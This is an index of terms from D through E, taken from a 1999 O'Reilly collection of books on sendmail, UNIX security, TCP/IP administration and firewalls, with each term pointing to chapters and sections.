Practical UNIX & Internet Security, 17.3.6. Domain Name System (DNS) (TCP and UDP Port 53)
sendmail, 15.3. MX Records
sendmail, 18.8. Alphabetized Reference
sendmail, 21.3. Set Up MX Records
sendmail, 34.8. Alphabetized Reference
sendmail, 38.5.2. Look Up MX Records with /mx
TCP/IP Network Administration, 8.3.2. Standard Resource Records
TCP/IP Network Administration, 8.3.6. The named.hosts File
TCP/IP Network Administration, 8.4. Using nslookup
TCP/IP Network Administration, 10.7.1. Modifying Local Information
TCP/IP Network Administration, C.3.1.4. Mail exchanger record
0 flag : sendmail, 30.8. Alphabetized F= Flags
bestmx database class : sendmail, 33.8. Alphabetized Reference
bestmx_is_local feature : sendmail, 19.6. Alphabetized m4 Macros
fallback MX host : sendmail, 34.8. Alphabetized Reference
ignored by delivery agents : sendmail, 21.3.5. What? They Ignore MX Records?
looking up for addresses : sendmail, 21.2.3. Look Up Addresses for Delivery
offsite hosts : sendmail, 21.5.1. Offsite MX Hosts
with wildcards : sendmail, 21.3.4. Wildcard MX Records
nameserver attacks : Practical UNIX & Internet Security, 17.3.6.2. DNS nameserver attacks
omitting support : sendmail, 19.6. Alphabetized m4 Macros
querying : TCP/IP Network Administration, 10.7.1. Modifying Local Information
resource on : sendmail, Other Books, Other Problems
revealing information to attackers : Building Internet Firewalls, 8.10.4.3. Revealing too much information to
rogue servers : Practical UNIX & Internet Security, 16.3.2. Security and Nameservice
security and : Practical UNIX & Internet Security, 16.3.2. Security and Nameservice
server for internal hosts : Building Internet Firewalls, 8.10.5.2. Set up a real DNS
starting : TCP/IP Network Administration, 5.4. The Internet Daemon
tuning lookups : sendmail, 34.8. Alphabetized Reference
zone transfers
Practical UNIX & Internet Security, 17.3.6. Domain Name System (DNS) (TCP and UDP Port 53)
Practical UNIX & Internet Security, 17.3.6.1. DNS zone transfers
docs/warnings file : TCP/IP Network Administration, 12.4.3.1. COPS
documentation
Practical UNIX & Internet Security, 2.5. The Problem with Security Through Obscurity
Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
historical, of problems : TCP/IP Network Administration, 11.1.1. Troubleshooting Hints
incidents : Building Internet Firewalls, 13.1.7. Document the Incident
plan for : Building Internet Firewalls, 13.4.7. Planning for Documentation
sendmail
sendmail, Additional Sources of Information
sendmail, 2.2. Read the Documents
system after incident
Building Internet Firewalls, 13.1.5. Snapshot the System
Building Internet Firewalls, 13.4.5. Planning for Snapshots
using : TCP/IP Network Administration, 4.6. Informing the Users
dollar sign ($)
$ line (qf file) : sendmail, 23.9. The qf File Internals
$ rule-testing command : sendmail, 38.3.1. Dump a Defined Macro with $
in macro names : sendmail, 31.5. Macro Expansion: $ and $&
wildcard operators
sendmail, 8.7. Wildcard Operators
(see also wildcard operators)
$1, $2, ... : (see positional operators)
$&
sendmail, 28.6.4. Rewrite Through Another Rule Set: $>set
sendmail, 31.5.3. Use Value as Is with $&
$> : sendmail, 28.6.4. Rewrite Through Another Rule Set: $>set
$* : sendmail, 10.2.1. The LHS
$@
sendmail, 9.2.2. The Host ($@)
sendmail, 9.3. Testing Rule Set 0
sendmail, 11.4.1. Rewrite the Lone Username
sendmail, 17.1.1.3. Handle null address
sendmail, 28.6.3. Rewrite-and-Return Prefix: $@
sendmail, 30.5.2.1. The $@ dsn part
sendmail, 33.4.2. Specify Numbered Substitution with $@
$[ and $]
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 21.2.4. The $[ and $] Operators
sendmail, 28.6.6. Canonicalize Hostname: $[ and $]
sendmail, 33.4.3. $[ and $]: A Special Case
$:
sendmail, 9.2.3. The User ($:)
sendmail, 9.3. Testing Rule Set 0
sendmail, 28.6.2. Rewrite Once Prefix: $:
sendmail, 29.6.1. Further Processing: $:user
sendmail, 30.5.3. The $: Part
sendmail, 33.4.1. Specify a Default with $:
sendmail, 33.4. Use Maps with $( and $) in Rules
$.
sendmail, 14.1.3. Testing So Far
sendmail, 31.6. Macro Conditionals: $?, $|, and $.
$=
sendmail, 12.1. The Class Command
sendmail, 32.2.1. Matching Any in a Class: $=
sendmail, 38.3.2. Dump a Class Macro with $=
$#
sendmail, 9.2.1. The Delivery Agent ($#)
sendmail, 28.6.5. Specify a Delivery Agent: $#
$- : sendmail, 11.4.1. Rewrite the Lone Username
$( and $) : sendmail, 33.4. Use Maps with $( and $) in Rules
$+ : sendmail, 8.7. Wildcard Operators
$?
sendmail, 14.1.3. Testing So Far
sendmail, 31.6. Macro Conditionals: $?, $|, and $.
$~ : sendmail, 32.2.2. Matching Any Not in a Class: $~
$| : sendmail, 31.6. Macro Conditionals: $?, $|, and $.
$_ macro
sendmail, 20.2.4. Verify identd Information
sendmail, 23.9. The qf File Internals
sendmail, 26.1.3.9. relay= the host that sent or accepted the message
sendmail, 31.10. Alphabetized Reference
DOL macro (m4) : sendmail, 19.6. Alphabetized m4 Macros
DOMAIN() : sendmail, 19.3.3. DOMAIN()
DOMAIN macro (in sendmail) : TCP/IP Network Administration, E.3. m4 sendmail Macros
Domain Name Pointer records : (see PTR resource records)
Domain Name Service : (see DNS)
domain names
Practical UNIX & Internet Security, 16.2.3. Hostnames
sendmail, 8.1. A Fictional Network
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 31.10. Alphabetized Reference
TCP/IP Network Administration, 3.3.3. Domain Names
TCP/IP Network Administration, 4. Getting Started
application form : TCP/IP Network Administration, 4.4.1. Obtaining a Domain Name
fully qualified : TCP/IP Network Administration, 3.3.3. Domain Names
in NIS : TCP/IP Network Administration, 9.3. Network Information Service
obtaining : TCP/IP Network Administration, 4.4.1. Obtaining a Domain Name
parameter : TCP/IP Network Administration, 9.4. A BOOTP Server
DOMAIN source file (in sendmail)
TCP/IP Network Administration, E.3.2. FEATURE
TCP/IP Network Administration, E.3.4. DOMAIN
mail relay defines, listed : TCP/IP Network Administration, E.3.4. DOMAIN
domain-type addresses : sendmail, 17.1.3. Internet Addresses
domain/named.root : TCP/IP Network Administration, 11.6.3. Cache corruption
domainname command
Practical UNIX & Internet Security, 19.4.3. NIS Domains
TCP/IP Network Administration, 9.3. Network Information Service
domains
Practical UNIX & Internet Security, 19.4.3. NIS Domains
TCP/IP Network Administration, 1.7. Application Layer
accepting only internal mail : sendmail, 20.2.1. Accept Mail Only From Our Domain
adding to recipient address : sendmail, 30.8. Alphabetized F= Flags
administration
TCP/IP Network Administration, 3.3.4. BIND, resolver, and named
TCP/IP Network Administration, 8.1. BIND: UNIX Name Service
contacting : TCP/IP Network Administration, 13.6. The White Pages
allocating : (see Network Information Center)
always_add_domain feature : sendmail, 19.6. Alphabetized m4 Macros
creating : TCP/IP Network Administration, 3.3.2. Creating Domains and Subdomains
downloading an entire : TCP/IP Network Administration, 8.4. Using nslookup
entry, in resolv.conf : TCP/IP Network Administration, 8.2.1. The Resolver Configuration File
FQDN : (see FQDNs)
hierarchy
TCP/IP Network Administration, 3.3.1. The Domain Hierarchy
TCP/IP Network Administration, 8.1. BIND: UNIX Name Service
list of local : sendmail, 32.5. Alphabetized Reference
masquerading : sendmail, 19.6. Alphabetized m4 Macros
name servers : TCP/IP Network Administration, 4.2.1.1. Assigning host addresses
parameter : TCP/IP Network Administration, 9.4. A BOOTP Server
organizational : TCP/IP Network Administration, 3.3.1. The Domain Hierarchy
part of hostname : (see $m macro)
virtual, mapping to addresses : sendmail, 19.6. Alphabetized m4 Macros
domaintable database
TCP/IP Network Administration, 10.7.1. Modifying Local Information
sendmail, 19.6. Alphabetized m4 Macros
DontExpandCNames option : sendmail, 34.8. Alphabetized Reference
DontInitGroups option : sendmail, 34.8. Alphabetized Reference
DontPruneRoutes command : sendmail, 34.8. Alphabetized Reference
dormant accounts
Practical UNIX & Internet Security, 8.4. Managing Dormant Accounts
Practical UNIX & Internet Security, 8.4.3. Finding Dormant Accounts
dot (.)
. line (qf file) : sendmail, 23.9. The qf File Internals
checking for in ${pd} : sendmail, D.1. Sun Enhancements
for current directory : Practical UNIX & Internet Security, 5.1.1. Directories
to end messages
sendmail, 4.2. Verbose (-v)
sendmail, 30.8. Alphabetized F= Flags
filenames starting with, disabling creation of : Building Internet Firewalls, 8.2.1.6. Be careful of writable
host status file line : sendmail, B.1. Status file lines
leading in messages : sendmail, 34.8. Alphabetized Reference
trailing in FQDNs
sendmail, 15.3. MX Records
sendmail, 17.4. Rule Set 4
sendmail, 29.5.1. Stripping Trailing Dots
.. directory : Practical UNIX & Internet Security, 5.1.1. Directories
.. for domain name : TCP/IP Network Administration, C.3.1. Standard Resource Records
dotted decimal notation : TCP/IP Network Administration, 2.3. Subnets
Double DES : Practical UNIX & Internet Security, 6.4.5. Improving the Security of DES
double quotation marks (")
sendmail, 13.2.8. The Unquoted Space Replacement Character
sendmail, 31.3.2. Syntax of the Configuration File Macro's Text
double-reverse lookups
Practical UNIX & Internet Security, 16.3.2. Security and Nameservice
Building Internet Firewalls, 8.10.4.2. Mismatched data between the hostname
Building Internet Firewalls, 8.10.5.1. Set up a `fake'
DoubleBounceAddress option : sendmail, 34.8. Alphabetized Reference
DOW USA : Practical UNIX & Internet Security, F.3.4.10. DOW USADOW USA
down sites : sendmail, 23.7.1. Handling a Down Site
downloading files : Practical UNIX & Internet Security, 12.3.4. Protecting Local Storage
logging
Practical UNIX & Internet Security, 10.3.3. xferlog Log File
Practical UNIX & Internet Security, 10.3.5. access_log Log File
downtime : Practical UNIX & Internet Security, 12.2.6.4. Minimizing downtime
due to criminal investigations : Practical UNIX & Internet Security, 26.2.4. Hazards of Criminal Prosecution
logging : Practical UNIX & Internet Security, 10.7.2.1. Exception and activity reports
drand48 function : Practical UNIX & Internet Security, 23.7.3. drand48 ( ), lrand48 ( ), and mrand48 ( )
Drawbridge package : Building Internet Firewalls, B.3.2. Drawbridge
drills, security : Practical UNIX & Internet Security, 24.1.3. Rule #3: PLAN AHEAD
drink : Practical UNIX & Internet Security, 12.2.2.1. Food and drink
ds.internic.net : TCP/IP Network Administration, 13.4. Retrieving RFCs
DSA (Digital Signature Algorithm)
Practical UNIX & Internet Security, 6.4.2. Summary of Public Key Systems
Practical UNIX & Internet Security, 6.5.3. Digital Signatures
DSN (Delivery Status Notification)
sendmail, 6.3. The local Delivery Agent
sendmail, B.1. Status file lines
DSN macro : sendmail, 18.8. Alphabetized Reference
ENVID identifier
sendmail, 23.9. The qf File Internals
sendmail, 36.7. Alphabetized Reference
ORCPT address : sendmail, 23.9. The qf File Internals
original envelope ID : sendmail, 31.10. Alphabetized Reference
types for : (see T= equate)
DTE (data terminal equipment) : Practical UNIX & Internet Security, 14.3. The RS-232 Serial Protocol
du command : Practical UNIX & Internet Security, 25.2.2.1. Disk-full attacks
dual-homed hosts
Building Internet Firewalls, 7. Proxy Systems
(see also proxy servers/services)
architecture of : Building Internet Firewalls, 4.2.1. Dual-Homed Host Architecture
with screen subnet architecture : Building Internet Firewalls, 4.3.8. It's OK to Use
as firewall : Building Internet Firewalls, 5.8.2.5. Turning off routing
nonrouting : Building Internet Firewalls, 5.2.1. Nonrouting Dual-homed Hosts
proxy services and : (see proxy servers/services)
dual universes : Practical UNIX & Internet Security, 5.9.1. Dual Universes
ducts, air : Practical UNIX & Internet Security, 12.2.3.2. Entrance through air ducts
dummy interface : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
dump : TCP/IP Network Administration, 7.7.2. Testing the Configuration
dump/restore program
Practical UNIX & Internet Security, 7.1.3. Types of Backups
Practical UNIX & Internet Security, 7.4.3. Specialized Backup Programs
Practical UNIX & Internet Security, 7.4.4. Encrypting Your Backups
dumping macros : sendmail, 38.3. Dump a Macro
dumping state : sendmail, 26.3.3. SIGUSR1 Dump States
dumpster diving : Practical UNIX & Internet Security, 12.3.3. Other Media
duplicate database keys : sendmail, 33.2.1.1. -d allow duplicate keys
duplicate entries in alias file : sendmail, 24.4.4. Duplicate Entries and Automation
duress code : Practical UNIX & Internet Security, 8.7.2. Token Cards
dust : Practical UNIX & Internet Security, 12.2.1.3. Dust
dynamic
assignment of addresses
TCP/IP Network Administration, 3.6.1. Dynamic Host Configuration Protocol
TCP/IP Network Administration, 4.2.1.1. Assigning host addresses
automatic under DHCP : TCP/IP Network Administration, 9.5. DHCP
circumstances favoring : TCP/IP Network Administration, 4.3. Planning Routing
packet filtering
Building Internet Firewalls, 6.3.3.2. UDP
Building Internet Firewalls, 8.2.1.1. Packet filtering characteristics of
port allocation : TCP/IP Network Administration, 2.7.3. Sockets
routing
TCP/IP Network Administration, 4.3. Planning Routing
TCP/IP Network Administration, 7.1. Common Routing Configurations
Dynamic DNS : TCP/IP Network Administration, 3.6.1. Dynamic Host Configuration Protocol
Dynamic Host Configuration Protocol : (see DHCP)
dynamic-bootp flag : TCP/IP Network Administration, D.3.2. Configuration Parameters
dynamic-bootp-lease-cutoff parameter : TCP/IP Network Administration, 9.5.1. dhcpd.conf
dynamic-bootp-lease-length parameter : TCP/IP Network Administration, 9.5.1. dhcpd.conf

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: E

e class : sendmail, 32.5. Alphabetized Reference
E configuration command : sendmail, 22.2.1. The E Configuration Command
e flag
sendmail, 23.6.1. Periodically with -q
sendmail, 30.8. Alphabetized F= Flags
sendmail, 34.8. Alphabetized Reference
E flag : sendmail, 30.8. Alphabetized F= Flags
E line (host status file) : sendmail, B.1. Status file lines
E line (qf file) : sendmail, 23.9. The qf File Internals
$e macro : (see SmtpGreetingMessage option)
$E macro : sendmail, 31.10. Alphabetized Reference
e option : (see ErrorMode (e) option)
E option : (see ErrorHeader (E) option)
-e switch (sendmail) : sendmail, 36.7. Alphabetized Reference
-E switch (sendmail) : sendmail, 36.7. Alphabetized Reference
E= equate : sendmail, 30.4. The Equates
earthquakes : Practical UNIX & Internet Security, 12.2.1.4. Earthquake
eavesdropping
Practical UNIX & Internet Security, 12.3.1. Eavesdropping
Practical UNIX & Internet Security, 12.3.1.5. Fiber optic cable
Practical UNIX & Internet Security, 12.4.1.2. Potential for eavesdropping and data theft
Practical UNIX & Internet Security, 14.4.4. Protecting Against Eavesdropping
Practical UNIX & Internet Security, 14.4.4.2. Protection against eavesdropping
Practical UNIX & Internet Security, 16.3.1. Link-level Security
IP packets
Building Internet Firewalls, 10.1.2. Packet Sniffing
Practical UNIX & Internet Security, 16.3.1. Link-level Security
Practical UNIX & Internet Security, 17.3.3. TELNET (TCP Port 23)
through log files : Practical UNIX & Internet Security, 18.4.2. Eavesdropping Through Log Files
on the Web
Practical UNIX & Internet Security, 18.4. Avoiding the Risks of Eavesdropping
Practical UNIX & Internet Security, 18.4.2. Eavesdropping Through Log Files
X clients : Practical UNIX & Internet Security, 17.3.21.2. X security
EBCDIC : sendmail, 30.8. Alphabetized F= Flags
ECB (electronic code book)
Practical UNIX & Internet Security, 6.4.4.2. DES modes
Practical UNIX & Internet Security, 6.6.2. des: The Data Encryption Standard
echo command : Practical UNIX & Internet Security, 23.5. Tips on Using Passwords
Echo Message
TCP/IP Network Administration, 1.5.2. Internet Control Message Protocol
TCP/IP Network Administration, 7.2. The Minimal Routing Table
ECPA (Electronic Communications Privacy Act) : Practical UNIX & Internet Security, 26.2.3. Federal Computer Crime Laws
edit FYIs (For Your Information) : TCP/IP Network Administration, 13.7. Summary
editing Makefile file : sendmail, 2.4. Preliminaries
editing wtmp file : Practical UNIX & Internet Security, 10.1.3.1. Pruning the wtmp file
editors : Practical UNIX & Internet Security, 11.5.2.7. Other initializations
buffers for : Practical UNIX & Internet Security, 11.1.4. Trojan Horses
Emacs : Practical UNIX & Internet Security, 11.5.2.3. GNU .emacs
ex
Practical UNIX & Internet Security, 5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve
Practical UNIX & Internet Security, 11.5.2.4. .exrc
Practical UNIX & Internet Security, 11.5.2.7. Other initializations
startup file attacks : Practical UNIX & Internet Security, 11.5.2.4. .exrc
vi
Practical UNIX & Internet Security, 5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve
Practical UNIX & Internet Security, 11.5.2.4. .exrc
Practical UNIX & Internet Security, 11.5.2.7. Other initializations
edquota command : Practical UNIX & Internet Security, 25.2.2.5. Using quotas
EDS : Practical UNIX & Internet Security, F.3.4.11. EDS and EDS customers worldwide
edu domain : TCP/IP Network Administration, 3.3.1. The Domain Hierarchy
EF_DELETE_BCC flag : sendmail, 23.9. The qf File Internals
EF_HAS8BIT flag : sendmail, 23.9. The qf File Internals
EF_NO_BODY_RETN flag : sendmail, 20.2.1. Accept Mail Only From Our Domain
EF_RESPONSE flag : sendmail, 23.9. The qf File Internals
EF_WARNING flag : sendmail, 23.9. The qf File Internals
effective UIDs/GIDs
Practical UNIX & Internet Security, 4.3.1. Real and Effective UIDs
Practical UNIX & Internet Security, 5.5. SUID
Practical UNIX & Internet Security, 10.1.2.1. su commandutmp and wtmp files andsu
Practical UNIX & Internet Security, C.1.3.2. Process real and effective UID
EGP (Exterior Gateway Protocol)
TCP/IP Network Administration, 2.4. Internet Routing Architecture
TCP/IP Network Administration, 7.5.1. Exterior Gateway Protocol
TCP/IP Network Administration, 11.9. Simple Network Management Protocol
neighbors : TCP/IP Network Administration, 7.5.1. Exterior Gateway Protocol
statement (in gated) : TCP/IP Network Administration, B.8.6. The egp Statement
EHLO command (SMTP)
sendmail, 4.2. Verbose (-v)
sendmail, 34.8. Alphabetized Reference
TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
TCP/IP Network Administration, 10.8. Testing sendmail.cf
EightBitMode encoding
sendmail, 30.8. Alphabetized F= Flags
sendmail, 34.8. Alphabetized Reference
8mm video tape : Practical UNIX & Internet Security, 7.1.4. Guarding Against Media Failure
electrical fires
Practical UNIX & Internet Security, 12.2.1.2. Smoke
(see also fires; smoke and smoking)
electronic breakins : (see breakins; cracking)
electronic code book (ECB)
Practical UNIX & Internet Security, 6.4.4.2. DES modes
Practical UNIX & Internet Security, 6.6.2. des: The Data Encryption Standard
Electronic Communications Privacy Act (ECPA) : Practical UNIX & Internet Security, 26.2.3. Federal Computer Crime Laws
electronic mail
sendmail, 1. Introduction
(see email)
addresses : (see addresses)
messages : (see messages)
electrical noise : Practical UNIX & Internet Security, 12.2.1.8. Electrical noise
electronic sabotage : (see denial of service)
ElGamal algorithm
Practical UNIX & Internet Security, 6.4.2. Summary of Public Key Systems
Practical UNIX & Internet Security, 6.5.3. Digital Signatures
elm (mail system) : Practical UNIX & Internet Security, 11.5.2.5. .forward, .procmailrc
emacs editor : Practical UNIX & Internet Security, 11.5.2.7. Other initializations
.emacs file : Practical UNIX & Internet Security, 11.5.2.3. GNU .emacs
email
Building Internet Firewalls, 2.1. Electronic Mail
Building Internet Firewalls, 5.6. Selecting Services Provided by the
Practical UNIX & Internet Security, 11.5.3.3. /usr/lib/aliases, /etc/aliases,
TCP/IP Network Administration, 1.7. Application Layer
(see also addresses)
(see also mail, servers)
(see also sendmail)
accepted by programs : Practical UNIX & Internet Security, 17.3.4.1. sendmail and security
action, in Swatch program : Practical UNIX & Internet Security, 10.6.2. The Swatch Configuration File
addresses
Building Internet Firewalls, 2.7. Information About People
TCP/IP Network Administration, 13.3.1. archie
alias back door : Practical UNIX & Internet Security, 11.1.2. Back Doors and Trap Doors
aliases
TCP/IP Network Administration, 10.3. sendmail Aliases
(see aliases/aliasing)
Archie access via : Building Internet Firewalls, 8.7.3.3. Providing Archie service to your
bombs : sendmail, 20.2.6. Reject Mail from Spamming or Mail-bombing Sites
configuring : Building Internet Firewalls, 8.1. Electronic Mail
copyrights on : Practical UNIX & Internet Security, 26.4.2. Copyright Infringement
delivering : TCP/IP Network Administration, 1.7. Application Layer
delivery agents (MTAs)
Building Internet Firewalls, 8.1. Electronic Mail
sendmail, 1.1. MUA Versus MTA
sendmail, 5.3.1. Mail Delivery Agents
sendmail, 6.2. Define a Mail Delivery Agent
sendmail, 30. Delivery Agents
(see also M configuration command)
$# operator and
sendmail, 9.2.1. The Delivery Agent ($#)
sendmail, 28.6.5. Specify a Delivery Agent: $#
advantages to sendmail : sendmail, 18.1. To Use or Not to Use
choosing
sendmail, 9. Rule Set 0
sendmail, 9.5. Things to Try
declaring : sendmail, 19.3.2. MAILER()
default : sendmail, 34.8. Alphabetized Reference
equates for : sendmail, 30.4. The Equates
for errors : sendmail, 9.4. The error Delivery Agent
expensive
sendmail, 23.6.1. Periodically with -q
sendmail, 30.8. Alphabetized F= Flags
sendmail, 34.8. Alphabetized Reference
flags
sendmail, 6.3. The local Delivery Agent
sendmail, 6.4. Add the Missing Parts to Mhub
sendmail, 14.2. Headers Versus Delivery Agent Flags
sendmail, 30.8. Alphabetized F= Flags
sendmail, 35.4. ?flags? in Header Definitions
ignoring MX records : sendmail, 21.3.5. What? They Ignore MX Records?
local
sendmail, 6.3. The local Delivery Agent
sendmail, 19.6. Alphabetized m4 Macros
logging : sendmail, 26.1.3.4. mailer= the delivery agent used
printing list of : sendmail, 38.4.2. Show Delivery Agents with =M
as recipients : sendmail, 30.8. Alphabetized F= Flags
scripts via : sendmail, 24.3. Write a Delivery Agent Script
statistics : (see statistics)
symbolic name : sendmail, 30.2. The Symbolic Name
testing : sendmail, 38.5.6. Try a Delivery Agent with /try
UUCP : sendmail, 19.4.6. UUCP
Electronic Communications Privacy Act (ECPA) : Practical UNIX & Internet Security, 26.2.3. Federal Computer Crime Laws
ESMTP (Extended SMTP)
sendmail, 4.2. Verbose (-v)
sendmail, 23.9. The qf File Internals
sendmail, 30.8. Alphabetized F= Flags
TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
TCP/IP Network Administration, 10.8. Testing sendmail.cf
BODY parameter (ESMTP)
sendmail, 31.10. Alphabetized Reference
sendmail, 36.7. Alphabetized Reference
private extensions to : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
file transfers : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
firewalls : Practical UNIX & Internet Security, 21.4.2. Electronic Mail
flooding : Building Internet Firewalls, 1.2.1.2. Denial of Service
forwarding (UUCP) : Practical UNIX & Internet Security, 15.6.1. Mail Forwarding for UUCP
gateway : TCP/IP Network Administration, 4.5.3. Planning Your Mail System
growing importance of : TCP/IP Network Administration, 9.7.2. IMAP Server
harassment via : Practical UNIX & Internet Security, 26.4.7. Harassment, Threatening Communication, and Defamation
logging : Practical UNIX & Internet Security, 10.4.2. Mail
mailing lists, firewalls resources via : Building Internet Firewalls, A.3. Mailing Lists
messages
sendmail, 34.8. Alphabetized Reference
TCP/IP Network Administration, 1.3. TCP/IP Protocol Architecture
TCP/IP Network Administration, 1.5.2. Internet Control Message Protocol
assigning priority to : TCP/IP Network Administration, 10.5.6. Defining Mail Precedence
blank lines ending : sendmail, 30.8. Alphabetized F= Flags
body of
sendmail, 1.6. The Body
sendmail, 23.2.2. The Data (Message Body) File: df
(see also -B switch (sendmail))
bouncing
sendmail, 10.3. Missing Addresses
sendmail, 13.2.2. Limit the Life of Queued Messages
sendmail, 14.4. Precedence
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 22.8.3.4. The PostmasterCopy option
sendmail, 23.3.6. Savemail Panic
sendmail, 23.7.1. Handling a Down Site
sendmail, 24.4.1. The Postmaster Alias
sendmail, 25.5.1. Reply Versus Bounce
sendmail, 25.5.3. A list-bounced Alias
sendmail, 34.8. Alphabetized Reference
sendmail, 35.10. Alphabetized Reference
sendmail, 36.7. Alphabetized Reference
(see also $n macro)
content type : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
converting between 7- and 8-bit : sendmail, 18.8. Alphabetized Reference
delivering : (see delivery)
envelope : (see envelope)
encapsulated : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
error : (see errors)
flooding : Practical UNIX & Internet Security, 25.3.2. Message Flooding
forged : sendmail, 22.7. Forged Mail
forwarding : sendmail, 35.7. Forwarding with Resent-Headers
forwarding loops : sendmail, 25.7.2. Forwarding Loops
headers for : (see headers, message)
holding : (see queue)
hop count : (see hop count)
hub's acceptance of : sendmail, 15.4. Hub Accepts Mail for Client
leading dots in : sendmail, 34.8. Alphabetized Reference
limiting size of : sendmail, 20.2.3. Limit the Size of Guest Messages
multipart subtype : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
multiple objects in single : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
origin date of : (see $a macro)
priority of
sendmail, 14.4. Precedence
(see priority, message)
processing limits on : sendmail, 23.5. How the Queue Is Processed
queue
sendmail, 1.3.2. The Queue
sendmail, 4.1.2. Show Queue Mode (-bp)
sendmail, 13.2.2. Limit the Life of Queued Messages
sendmail, 23. The Queue
sendmail, 23.2. Parts of a Queued Message
sendmail, 23.2.3.2. Locks shown when printing the queue
sendmail, 23.4. Printing the Queue
sendmail, 23.5. How the Queue Is Processed
sendmail, 23.7.1. Handling a Down Site
sendmail, 23.8. Pitfalls
sendmail, 23.9. The qf File Internals
sendmail, 25.7.6. Force Requeue on Error
sendmail, 34.6.2. The Queue
sendmail, 34.8. Alphabetized Reference
sendmail, 36.7. Alphabetized Reference
rejecting
sendmail, 18.8. Alphabetized Reference
sendmail, 20.2.6. Reject Mail from Spamming or Mail-bombing Sites
relays for : sendmail, 19.4.5. Relays
sending
sendmail, 13.4. Sending Mail
sendmail, 14.5. Sending Real Mail
size of
sendmail, 26.1.3.10. size= the size of the message
sendmail, 30.4. The Equates
sendmail, 34.8. Alphabetized Reference
stored in queue in error : sendmail, 23.9. The qf File Internals
time placed in queue : sendmail, 23.9. The qf File Internals
unique identifier for
sendmail, 13.4. Sending Mail
sendmail, 14.2.3. The Message-ID: Header
sendmail, 26.1.3.5. msgid= the Message-ID: identifier
phantom, monitoring : Practical UNIX & Internet Security, 17.3.4.2. Using sendmail to receive email
processing addresses : TCP/IP Network Administration, 10.6.3. The Set Ruleset Command
queue
sendmail, 1.3.2. The Queue
sendmail, 23. The Queue
checkpointing : sendmail, 34.8. Alphabetized Reference
down sites and : sendmail, 23.7.1. Handling a Down Site
lifetime
sendmail, 13.2.2. Limit the Life of Queued Messages
sendmail, 34.8. Alphabetized Reference
message life : sendmail, 13.2.2. Limit the Life of Queued Messages
message parts : sendmail, 23.2. Parts of a Queued Message
printing
sendmail, 4.1.2. Show Queue Mode (-bp)
sendmail, 23.2.3.2. Locks shown when printing the queue
sendmail, 23.4. Printing the Queue
sendmail, 36.7. Alphabetized Reference
processing
sendmail, 23.5. How the Queue Is Processed
sendmail, 23.9. The qf File Internals
sendmail, 36.7. Alphabetized Reference
putting everything in : sendmail, 34.8. Alphabetized Reference
requeuing on error : sendmail, 25.7.6. Force Requeue on Error
sendmail options for : sendmail, 34.6.2. The Queue
sorting : sendmail, 34.8. Alphabetized Reference
time message placed in : sendmail, 23.9. The qf File Internals
troubleshooting : sendmail, 23.8. Pitfalls
why message is stored in : sendmail, 23.9. The qf File Internals
receiving by sendmail : Practical UNIX & Internet Security, 17.3.4.2. Using sendmail to receive email
relay : TCP/IP Network Administration, 4.5.3. Planning Your Mail System
for RFCs : TCP/IP Network Administration, 13.4.1. Retrieving RFCs by mail
sendmail
Building Internet Firewalls, 2.1. Electronic Mail
(see also sendmail)
sending via CGI scripts : Practical UNIX & Internet Security, 18.2.3.3. Sending mail
sent directly to file : Practical UNIX & Internet Security, 15.7. Early Security Problems with UUCP
servers
TCP/IP Network Administration, 3.4. Mail Services
TCP/IP Network Administration, 4.5.3. Planning Your Mail System
interoperability and : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
simplified addresses : TCP/IP Network Administration, 10.5.3. The Define Class Command
SMTP (Simple Mail Transfer Protocol)
Building Internet Firewalls, 2.1. Electronic Mail
Building Internet Firewalls, 5.6. Selecting Services Provided by the
Building Internet Firewalls, 7.5. Proxying Without a Proxy Server
Building Internet Firewalls, 8.1.1. Simple Mail Transfer Protocol
Practical UNIX & Internet Security, 17.3.4. Simple Mail Transfer Protocol (SMTP) (TCP Port 25)
Practical UNIX & Internet Security, 17.3.4.3. Improving the security of Berkeley sendmail V8
sendmail, 4.2. Verbose (-v)
sendmail, 18.8. Alphabetized Reference
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 3.4.1. Simple Mail Transfer Protocol
commands, listed : TCP/IP Network Administration, 3.4.1. Simple Mail Transfer Protocol
configuring
Building Internet Firewalls, 8.1.1.6. Configuring SMTP to
Building Internet Firewalls, 9.1.1.3. SMTP
Building Internet Firewalls, 9.2.1.3. SMTP
EHLO command
sendmail, 4.2. Verbose (-v)
sendmail, 34.8. Alphabetized Reference
ETRN command : sendmail, 23.6.2.4. Process the queue via ESMTP ETRN
EXPN command
sendmail, 22.3.2. SMTP vrfy and expn
sendmail, 22.8.3.5. The PrivacyOptions option
Extended : (see ESMTP)
forging mail with : sendmail, 22.7.2. Forging with SMTP
greeting message : sendmail, 31.10. Alphabetized Reference
HELO command
sendmail, 18.8. Alphabetized Reference
sendmail, 30.8. Alphabetized F= Flags
sendmail, 34.8. Alphabetized Reference
incoming connection rate : sendmail, 34.8. Alphabetized Reference
MAIL command
sendmail, 29.10.1. The check_mail Rule Set
sendmail, 34.8. Alphabetized Reference
multiple connections : sendmail, 34.8. Alphabetized Reference
multiple timeouts : sendmail, 34.8. Alphabetized Reference
RCPT command
sendmail, 23.9. The qf File Internals
sendmail, 29.10.2. The check_rcpt Rule Set
sendmail, 36.7. Alphabetized Reference
refusing on high load : sendmail, 34.8. Alphabetized Reference
running on stdin : sendmail, 36.7. Alphabetized Reference
